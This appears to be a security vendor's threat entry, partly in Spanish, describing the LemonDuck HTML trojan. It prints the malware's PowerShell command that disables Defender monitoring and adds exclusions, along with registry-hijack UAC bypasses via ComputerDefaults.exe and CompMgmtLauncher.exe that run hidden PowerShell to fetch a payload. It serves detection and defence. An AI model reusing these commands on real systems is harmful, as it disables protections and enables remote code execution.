Trojan.HTML.LEMONDUCK.THDBIBA

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Otros detalles

Hace lo siguiente:

• It contains a powershell code, and cannot be executed independently by itself, being an HTML file.
• It needs a payload URL parameter to properly execute.
• If the {Payload URL} starts with "http", it will try to download from the URL.
• If the current user group is "Administrator", it will execute the following:
  • cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden
  • Download from {Payload URL}
• If Windows version is "10", it does the following:
  • Create registry entries in:
    • HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
      DelegateExecute = ""
    • HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
      (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
  • Starts the process:
    • ComputerDefaults.exe
• If Windows version is not"10", it does the following:
  • Create registry entries in:
    • HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
      DelegateExecute = ""
    • HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
      (default) = powershell -w hidden {Payload URL}
  • Starts the process:
    • CompMgmtLauncher.exe

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).